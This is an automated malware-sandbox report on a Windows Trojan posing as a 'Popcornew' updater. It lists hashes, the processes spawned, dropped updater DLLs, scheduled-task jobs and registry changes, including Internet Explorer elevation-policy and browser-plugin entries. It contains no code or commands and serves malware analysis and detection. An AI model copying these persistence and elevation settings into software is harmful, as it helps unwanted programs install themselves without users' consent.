MD5: beadc9153c208162b9b88fc0c811cda7
SHA1: fea120e9280891030eca5cb806f886aa8eafb232
SHA256: 83362388e95574f5e9b85ac20a558c63961c295229663de884a5ebd123be8fcb
SSDeep: 1536:ypgpHzb9dZVX9fHMvG0D3XJjC/ZMJte/zMqp/o41ahfK:wgXdZt9P6D3XJjC/ZMJtQdo4sE
Size: 69479 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2009-12-06 00:50:52
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

PopcornewUpdate.exe:752
PopcornewUpdate.exe:2612
PopcornewUpdate.exe:596
PopcornewUpdate.exe:1920
PopcornewUpdate.exe:1112
PopcornewUpdate.exe:1252
PopcornewUpdate.exe:1384
%original file name%.exe:1380
popcornew.exe:2548
popcornew.exe:1972
popcornew.exe:2488
nsy2.tmp:1448
MsiExec.exe:1520

The Trojan injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process PopcornewUpdate.exe:752 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\Popcornew\Update\Install\{6ABF9003-3091-44DE-97C3-2E25768D1354}\Popcornew_7.3.msi (43956 bytes)
%Program Files%\Popcornew\Update\Download\{82BE43A3-77AF-4978-B081-893EF286DC00}\7.3.0.0\Popcornew_7.3.msi (43956 bytes)

The Trojan deletes the following file(s):

%Program Files%\Popcornew\Update\Install (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{DD3B302E-4E37-414C-A5B8-D945E219DC72}-Popcornew_7.3.msi (0 bytes)

The process PopcornewUpdate.exe:596 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_gu.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_en.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_cs.dll (23 bytes)
%Program Files%\Popcornew\Update\PopcornewUpdate.exe (601 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_lt.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_bg.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll (5873 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pl.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_te.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_am.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_kn.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_id.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_no.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pt-BR.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_et.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ta.dll (30 bytes)
%WinDir%\Tasks\PopcornewUpdateTaskMachineCore.job (906 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_es.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sk.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fil.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_da.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_uk.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hi.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_nl.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_en-GB.dll (28 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_th.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_is.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_el.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll (673 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sw.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_es-419.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_mr.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_it.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fr.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ms.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pt-PT.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ml.dll (26 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_zh-CN.dll (16 bytes)
%WinDir%\Tasks\PopcornewUpdateTaskMachineUA.job (910 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ja.dll (18 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe (46 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_bn.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\psuser.dll (673 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hu.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_lv.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fa.dll (28 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_zh-TW.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sl.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_tr.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ru.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ro.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ur.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ca.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ar.dll (20 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll (1281 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewCrashHandler.exe (601 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ko.dll (18 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sr.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateHelper.msi (32 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hr.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fi.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdate.exe (601 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe (52 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_iw.dll (20 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_de.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sv.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_vi.dll (22 bytes)

The process %original file name%.exe:1380 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy2.tmp (37784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp (0 bytes)

The process popcornew.exe:2488 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Popcornew\state (10195 bytes)

The process nsy2.tmp:1448 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewCrashHandler.exe (113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUT5.tmp (20507 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sl.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hu.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-TW.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bg.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sw.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_iw.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_am.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ro.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_gu.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lv.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psmachine.dll (162 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bn.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_te.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ko.dll (18 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ru.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ca.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ar.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_cs.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sv.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateHelper.msi (32 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en-GB.dll (28 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_it.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fil.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-PT.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_el.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateOnDemand.exe (46 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fa.dll (28 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-BR.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\npPopcornewUpdate3.dll (235 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ta.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_uk.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es-419.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_no.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_da.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_tr.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_nl.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_kn.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ms.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ja.dll (18 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_mr.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_id.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ur.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sr.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hr.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fi.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-CN.dll (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp (28 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_et.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psuser.dll (162 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ml.dll (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fr.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_de.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdate.exe (113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_is.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lt.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateBroker.exe (52 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hi.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pl.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdate.dll (1990 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_th.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_vi.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sk.dll (24 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewCrashHandler.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ja.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hu.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bg.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sw.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUT5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_iw.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_am.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_mr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_gu.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lv.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psmachine.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bn.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_te.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ko.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ru.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ca.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ar.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_cs.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sv.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateHelper.msi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en-GB.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_it.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fil.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-PT.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_el.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateOnDemand.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fa.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-BR.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\npPopcornewUpdate3.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ta.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_uk.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es-419.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_no.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_da.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_tr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_nl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_kn.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ms.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-TW.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_id.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ur.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fi.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ro.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_et.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psuser.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ml.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_de.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-CN.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdate.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_is.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lt.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateBroker.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hi.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdate.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_th.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_vi.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sk.dll (0 bytes)

Registry activity

The process PopcornewUpdate.exe:752 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 C7 61 A8 C1 82 CE 51 7C 1E 4A 39 21 5A AF 0A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Popcornew\Update\proxy]
"source" = "IE"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"lang" = "en"
"client" = "138"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\C]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"brand" = "GGLS"
"tttoken" = "PopcornewToken"
"LastCheckSuccess" = "1434736517"
"pv" = "7.3.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\F]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"InstallTime" = "1434736505"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\D]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\A]
"BaseClass" = "Drive"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"browser"
"LastInstallerSuccessLaunchCmdLine"

[HKLM\SOFTWARE\Popcornew\Update\ClientStateMedium\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"eulaaccepted"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"ap"

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"c"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"eulaaccepted"
"LastInstallerExtraCode1"
"experiment_labels"

[HKLM\SOFTWARE\Popcornew\Update]
"LastInstallerResult"
"LastInstallerResultUIString"
"LastInstallerExtraCode1"

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"UpdateAvailableCount"

[HKLM\SOFTWARE\Popcornew\Update]
"uid"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"LastInstallerResultUIString"
"LastInstallerError"

[HKLM\SOFTWARE\Popcornew\Update]
"LastInstallerError"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"UpdateAvailableSince"

[HKLM\SOFTWARE\Popcornew\Update]
"LastInstallerSuccessLaunchCmdLine"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"iid"
"LastInstallerResult"

The process PopcornewUpdate.exe:2612 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "98 EF 3D 20 9B 90 01 19 58 E0 E4 F0 4D 35 DE 57"

[HKCU\Software\Popcornew\Update\proxy]
"source" = "IE"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"
"c"

The process PopcornewUpdate.exe:596 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Popcornew\Update]
"Version" = "1.3.25.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"ProductName" = "Popcornew Update"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"vendor" = "The Popcornew Group"

[HKCR\CLSID\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}\ProgID]
"(Default)" = "Popcornew.Update3WebControl.3"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"ProductName" = "Popcornew Update"

[HKCR\CLSID\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}]
"(Default)" = "Popcornew Update Plugin"

[HKCR\CLSID\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}]
"(Default)" = "Popcornew Update Plugin"

[HKLM\SOFTWARE\Popcornew\Update]
"Path" = "%Program Files%\Popcornew\Update\PopcornewUpdate.exe"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}]
"Policy" = "3"

[HKLM\SOFTWARE\Popcornew\Update\Clients\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"Name" = "Popcornew Update"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Popcornew\Update]
"PopcornewUpdate.exe" = "Popcornew Update"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}]
"Policy" = "3"
"AppPath" = "%Program Files%\Popcornew\Update\1.3.25.0"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"vendor" = "The Popcornew Group"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}]
"AppName" = "PopcornewUpdate.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"Description" = "Popcornew Update"

[HKCR\Popcornew.Update3WebControl.3\CLSID]
"(Default)" = "{909F2E0D-650B-46B9-A27D-5A893BDDF58D}"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"Version" = "9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
